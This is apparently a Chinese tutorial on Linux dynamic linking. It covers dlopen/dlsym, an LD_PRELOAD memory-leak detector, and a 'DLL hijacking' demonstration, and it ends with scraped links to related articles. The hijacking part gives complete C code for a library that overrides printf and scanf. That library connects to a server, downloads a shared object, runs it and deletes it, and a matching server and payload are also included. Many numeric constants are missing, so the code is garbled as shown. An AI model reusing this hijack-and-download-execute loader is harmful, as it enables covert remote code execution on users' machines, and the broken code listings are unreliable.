• 如何使用动态链接库

Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):
1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLoadLibrary函数

    //参数一filename是.so文件路径
//参数二flag指定解析符号的时间点等
//返回值是链接库的句柄
void *dlopen(const char *filename, int flag);

2.从句柄中获取函数符号加载的内存地址,通过调用dlsym函数返回函数地址,对应于windows下的GetProcAddress函数

   //参数一handle是dlopen获得的句柄
//参数二symbol是函数符号
//返回值为函数加载在内存的地址
void *dlsym(void *handle, const char *symbol);

3.卸载链接库,通过调用dlclose函数释放资源,对应于windows下的AfxFreeLibrary函数

   int dlclose(void *handle);

Linux下编写第一个动态链接库hello.so

 #include <stdio.h>

 void *hello(void *input) {
printf("hello from a .so\n");
return NULL;
}

hello.c

编译命令:

  gcc -shared -fPIC hello.c -o hello.so
  -shared 指定生成共享库
-fPIC 指定生成位置无关代码

动态加载hello.so的过程如下

 #include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <dlfcn.h> typedef void *(*FUNC)(void *); void load_and_invoke(char *libname, char *funcname) { FUNC func = NULL;
char *error = NULL;
void * handle = dlopen(libname,RTLD_LAZY); //加载链接库 if(!handle){
fprintf(stderr,"%s\n",dlerror());
exit(EXIT_FAILURE);
} dlerror(); *(void **)(&func) = dlsym(handle,funcname); //获取符号地址 if((error = dlerror()) != NULL){
fprintf(stderr,"%s\n",error);
exit(EXIT_FAILURE);
} func(NULL); //执行函数 dlclose(handle); //卸载链接库
exit(EXIT_FAILURE);
} int main(int argc, char **argv) { load_and_invoke("./hello.so", "hello");
}

main.c

编译命令:

gcc main.c -o main -ldl

运行:

  • 应用一 内存泄漏检测

动态链接库除了让程序更新方便,提高运行效率外,还可移使用dll注入的方式实现类似于valgrind的内存检测工具。
原理:通过注入的方式让用户程序调用的malloc,free等内存操作函数最终调用本程序实现的malloc与free函数,在自己实现的函数中记录用户每次对内存的申请与撤销操作,分析是否有内存泄露,具体原理参考codeproject上的一篇文章 C++ Memory Leak Finder
libmem.c实现malloc,free函数

 #include <stdint.h>
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <execinfo.h> //一些辅助函数,使用stl map记录内存申请与回收
int map_insert(void * pointer, char *module);
int map_remove(void * pointer);
int map_count();
void map_dump(); const static int max_frame_depth = ;
static int mutex = ; //指定__attribute__((constructor))保证init函数在链接库被加载内存后自动调用
__attribute__((constructor)) void init(void);
//指定__attribute__((destructor))保证deinit函数在链接库在卸载前自动调用
__attribute__((destructor)) void deinit(void); //GLIBC中的malloc函数
static void *(*sys_malloc)(size_t) = NULL;
//GLIBC中的free函数
static void (*sys_free)(void *) = NULL; //链接库加载后,调用init获取malloc与free地址
void init(void){
sys_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT,"malloc");
if(sys_malloc == NULL){
fprintf(stderr,"failed to read malloc function;\n");
exit(EXIT_FAILURE);
} sys_free = (void (*)(void *))(dlsym(RTLD_NEXT,"free"));
if(sys_free == NULL){
fprintf(stderr,"failed to read free function;\n");
exit(EXIT_FAILURE);
}
} //链接库卸载前,打印内存申请与释放记录
void deinit(void){
printf("%d unfreed allocations found\n",map_count());
map_dump();
} void *malloc(size_t size){ if(sys_malloc == NULL){
init();
} void *ptr = sys_malloc(size); //backtrace函数可能需要使用malloc函数,有可能造成循环调用,
//因此需要使用静态变量mutex防止死循环
if(mutex == ){
mutex = ; void *frames[max_frame_depth];
//通过backtrace获取当前函数调用栈信息
size_t stack_size = backtrace(frames,max_frame_depth);
char ** stacktrace = backtrace_symbols(frames,stack_size); //这里只记录了一帧信息
map_insert((void *) ptr,stacktrace[]); sys_free(stacktrace); mutex = ;
} return ptr;
} void free(void * ptr){
if(sys_free == NULL){
init();
} if(mutex == ){
mutex = ; if(map_remove((void *) ptr) == ){ //double remove
sys_free((void *)ptr);
} mutex = ;
}
}

libmem.c

libmem.c中调用了记录内存分配回收信息的辅助函数

 #include <stdint.h>
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <execinfo.h> //一些辅助函数,使用stl map记录内存申请与回收
int map_insert(void * pointer, char *module);
int map_remove(void * pointer);
int map_count();
void map_dump(); const static int max_frame_depth = ;
static int mutex = ; //指定__attribute__((constructor))保证init函数在链接库被加载内存后自动调用
__attribute__((constructor)) void init(void);
//指定__attribute__((destructor))保证deinit函数在链接库在卸载前自动调用
__attribute__((destructor)) void deinit(void); //GLIBC中的malloc函数
static void *(*sys_malloc)(size_t) = NULL;
//GLIBC中的free函数
static void (*sys_free)(void *) = NULL; //链接库加载后,调用init获取malloc与free地址
void init(void){
sys_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT,"malloc");
if(sys_malloc == NULL){
fprintf(stderr,"failed to read malloc function;\n");
exit(EXIT_FAILURE);
} sys_free = (void (*)(void *))(dlsym(RTLD_NEXT,"free"));
if(sys_free == NULL){
fprintf(stderr,"failed to read free function;\n");
exit(EXIT_FAILURE);
}
} //链接库卸载前,打印内存申请与释放记录
void deinit(void){
printf("%d unfreed allocations found\n",map_count());
map_dump();
} void *malloc(size_t size){ if(sys_malloc == NULL){
init();
} void *ptr = sys_malloc(size); //backtrace函数可能需要使用malloc函数,有可能造成循环调用,
//因此需要使用静态变量mutex防止死循环
if(mutex == ){
mutex = ; void *frames[max_frame_depth];
//通过backtrace获取当前函数调用栈信息
size_t stack_size = backtrace(frames,max_frame_depth);
char ** stacktrace = backtrace_symbols(frames,stack_size); //这里只记录了一帧信息
map_insert((void *) ptr,stacktrace[]); sys_free(stacktrace); mutex = ;
} return ptr;
} void free(void * ptr){
if(sys_free == NULL){
init();
} if(mutex == ){
mutex = ; if(map_remove((void *) ptr) == ){ //double remove
sys_free((void *)ptr);
} mutex = ;
}
}

hash.cpp

把 libmem.c编译成动态链接库libmem.so,导出环境变量LD_PRELOAD=path/to/libmem.so,动态链接库的查找和加载 是由/lib/ldd.so实现,LD_PRELOAD路径中的库会在标准路径之前被查找到,这样任何使用malloc,free函数的程序都会调用 libmem.so中的malloc与free,从而实现内存泄漏的检测。关于LD_PRELOAD变量,可以查看警惕UNIX下的LD_PRELOAD环境变量关于windows下dll搜索路径可以参考Dynamic-Link Library Search Order

为了测试,我们编写了一个存在内存泄漏的程序

memleak.c

编译与运行:

  • 应用二 dll劫持漏洞

与内存检测程序原理类似,dll搜索路径的先后顺序如果不小心,很有可能被恶意利用。恶意程序要做的是编写一个与正常应用链接库文件名相同,实现同样的函数(函数名参数类型与个数相同)的链接库,把它放在当前路径或者进程路径等在优先级在正常dll之前的路径上,就可以让正常应用主动去执行一些恶意代码。

下面是通过劫持scanf,printf函数实现攻击的例子,正常的应用程序只要调用了scanf,printf,便会激活恶意代码.恶意代码连接服务器并下载真正危险的代码执行,而且恶意代码可以在执行后删除自己并完成用户正常的功能以达到隐藏自己的目的。

劫持GLIBC的printf与scanf的代码

 #include <stdint.h>
#include <stdarg.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <arpa/inet.h> static void (*sys_vprintf)(const char *format,...) = NULL;
static int (*sys_vscanf)(const char *format,...) = NULL;
static int count = ; #define MAXLINE 4096 static void init(void){
sys_vprintf = (void (*)(const char *format,...))dlsym(RTLD_NEXT,"vprintf");
if(sys_vprintf == NULL){
exit(EXIT_FAILURE);
} sys_vscanf = (int (*)(const char *format,...))dlsym(RTLD_NEXT,"vscanf");
if(sys_vscanf == NULL){
exit(EXIT_FAILURE);
}
} static void deinit(void){
;
} #define FILE_NAME "libexploit_download.so"
#define FUNC_NAME "exploit" //执行从服务器下载的代码
void load_and_exec(char *libname,char *funcname){ void *handle = dlopen(libname,RTLD_LAZY);
if(!handle){
return;
} void (*func)(void);
*(void ** )(&func) = dlsym(handle,funcname); if(func == NULL){
return;
} func(); dlclose(handle);
} //删除下载的代码
void remove(char *filename){
char buff[MAXLINE];
strcpy(buff,"rm -rf ");
strcat(buff,filename);
system(buff);
} //恶意程序客户端从服务器下载恶意代码并执行
static void client(){
int sockfd,n;
char buff[MAXLINE + ];
struct sockaddr_in servaddr; if((sockfd = socket(AF_INET,SOCK_STREAM,)) < ){
return;
} bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
char *serv_addr = "127.0.0.1"; //服务器地址
char *serv_port = ""; //服务器端口
servaddr.sin_port = htons(atoi(serv_port));
if(inet_pton(AF_INET,serv_addr,&servaddr.sin_addr) <= ){
return;
} if(connect(sockfd,(struct sockaddr *)&servaddr,sizeof(servaddr)) < ){
return;
} write(sockfd,"start",strlen("start")); int fd = open(FILE_NAME,O_RDWR | O_CREAT | O_EXCL,S_IRUSR | S_IWUSR);
if(fd == -){
return;
} int nRead;
while((nRead = read(sockfd,buff,MAXLINE)) != ){
write(fd,buff,nRead);
}
close(fd);
close(sockfd); load_and_exec(FILE_NAME,FUNC_NAME); remove(FILE_NAME);
exit();
} void printf(const char *fmt,...){
if(sys_vprintf == NULL){
init();
} client(); //恶意代码开始执行与服务器通信 char buff[MAXLINE]; va_list vl;
va_start(vl,fmt);
sys_vprintf(fmt,vl);
va_end(vl);
} int scanf(const char *fmt,...){
if(sys_vscanf == NULL){
init();
} client(); va_list vl;
va_start(vl,fmt);
int cnt = sys_vscanf(fmt,vl);
va_end(vl);
return cnt;
}

libio.c

被攻击的代码示例

 #include <stdio.h>

 #define MAXLINE 4096

 int
main()
{
char buff[MAXLINE]; while(scanf("%s",buff) != ){
printf("you've typed : %s\n",buff);
}
}

target.c

编译过程:

服务器端代码server.c

 #include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h> #define MAXLINE 4096
#define LISTENQ 1024 void serve(int port,char *filename) { int listenfd,connfd;
struct sockaddr_in servaddr;
char buff[MAXLINE];
char outBuff[MAXLINE]; listenfd = socket(AF_INET,SOCK_STREAM,);
if(listenfd < ){
return;
} bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(port); if(bind(listenfd,(struct sockaddr *)&servaddr,sizeof(struct sockaddr)) < ){
return;
} if((listen(listenfd,LISTENQ)) < ){
return;
} for(;;){
if((connfd = accept(listenfd,(struct sockaddr *)NULL,NULL)) < ){
continue;
} int n = read(connfd,buff,MAXLINE);
buff[n] = '\0'; if(strcmp(buff,"start") == ){
printf("ready...\n");
FILE *fp = fopen(filename,"r");
if(fp == NULL){
fprintf(stderr,"file open error\n");
} while((n = fread(buff,,MAXLINE,fp)) != ){
if(write(connfd,buff,n) != n){
fprintf(stderr,"write error\n");
}
}
} if(close(connfd) == -){
return;
}
exit();
} } int main(int argc, char **argv) { int port = ;
char *filename = "./libexploit.so"; serve(port,filename); exit();
}

server.c

真正执行攻击的代码:

 #include <stdio.h>
#include <string.h> void exploit() {
const char* msg = "you have been hacked\n";
fwrite(msg, sizeof(char), strlen(msg), stdout);
}

libexploit.c

编译服务端代码:

最后效果:

Linux 动态链接库 - dll劫持的更多相关文章

  1. Linux 动态链接库

    如何使用动态链接库 Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLo ...

  2. 原创QQ影音DLL劫持漏洞+动画实战教程

    1.什么是DLL DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成 ...

  3. dll劫持技术

    DLL劫持技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中. DLL劫持原理 ...

  4. 动态链接库dll,导入库lib,静态链接库lib

    目前以lib后缀的库有两种,一种为静态链接库(Static Libary,以下简称“静态库”),另一种为动态连接库(DLL,以下简称“动态库”)的导入库(Import Libary,以下简称“导入库” ...

  5. 老树开新花:DLL劫持漏洞新玩法

    本文原创作者:丝绸之路 <img src="http://image.3001.net/images/20150921/14428044502635.jpg!small" t ...

  6. Dll劫持漏洞详解

      一.dll的定义 DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分 ...

  7. 36.浅谈DLL劫持

    最近在搞内网,需要实现免杀后门,大佬推荐了dll劫持,DLL劫持后,能干很多事情,比如杀软对某些厂商的软件是实行白名单的,你干些敏感操作都是不拦截,不提示的.还有留后门,提权等等.本文主要介绍如何检测 ...

  8. 可执行Jar包调用动态链接库(DLL/SO)

    踩过了很多的坑,查了很多资料,在此记录一下,以SpringBoot项目为基础. Maven加入JNA依赖 <!-- JNA start --> <dependency> < ...

  9. DLL劫持技术例子: HijackDll

    控制台程序:DllLoader Dll加载器,用于动态加载目标Dll,并动态调用目标函数 #include <cstdio> #include <windows.h> type ...

随机推荐

  1. python生成可执行exe文件

    为什么要生成可执行文件 不需要安装对应的编程环境 可以将你的应用闭源 用户可以方便.快捷的直接使用 打包工具 pyinstaller 安装pyinstaller pip install pyinsta ...

  2. web优化及web安全攻防学习总结

    web优化 前端:(高性能网站建设进阶指南) 使用gzip压缩(节省服务器的 网络带宽) 减少http请求( 减少DNS请求所耗费的时间. 减少服务器压力. 减少http请求头) 使用cdn(用户可以 ...

  3. Mysql_大字段问题Row size too large.....not counting BLOBs, is 8126.

    [问题描述] 1.从myslq(5.7.19-0ubuntu0.16.04.1)中导出sql脚本,导入到mysql(5.5.27)中,报如下错误:Row size too large. The max ...

  4. Cocos Creator学习三:生命周期回调函数

    1.目的:学习生命周期回调函数以及回调顺序,更有利于我们逻辑的处理把控. 2.生命周期回调函数: 节点:指cc.Node:组件:指cc.Component. ①onLoad:脚本组件绑定的节点所在场景 ...

  5. Servlet之Filter

    一 .过滤器(filter) 处于客户端与服务器资源文件之间的一道过滤网,在访问资源文件之前,通过一系列的过滤器对请求进行修改.判断等,把不符合规则的请求在中途拦截或修改.也可以对响应进行过滤,拦截或 ...

  6. MongoDB数据查询 --MongoDB

    1.插入测试数据 use flower db.goods.insert({'goods_name':'Hyacinth',price:10,num:800}) db.goods.insert({goo ...

  7. Flutter工程无法找到Android真机或Android模拟器

    之前的Flutter的工程链接真机还好好的 结果电脑抽抽了过了个年就连不到真机了 一点run就提示 No connected devices found; please connect a devic ...

  8. Nginx启动,证书报错SSL_CTX_use_PrivateKey_file.....

    报错nginx: [emerg] SSL_CTX_use_PrivateKey_file("/etc/nginx/ssl/myxxxxgame201904.key") failed ...

  9. HeadFirstPython学习笔记——OSError: [WinError 10013] 以一种访问权限不允许的方式做了一个访问套接字的尝试。

    1.文件构成如下 2.运行服务器时报错 OSError: [WinError 10013] 以一种访问权限不允许的方式做了一个访问套接字的尝试. 解决方法:更换端口 3.Python的CGI跟踪术 在 ...

  10. 控制dom 加载成功后事件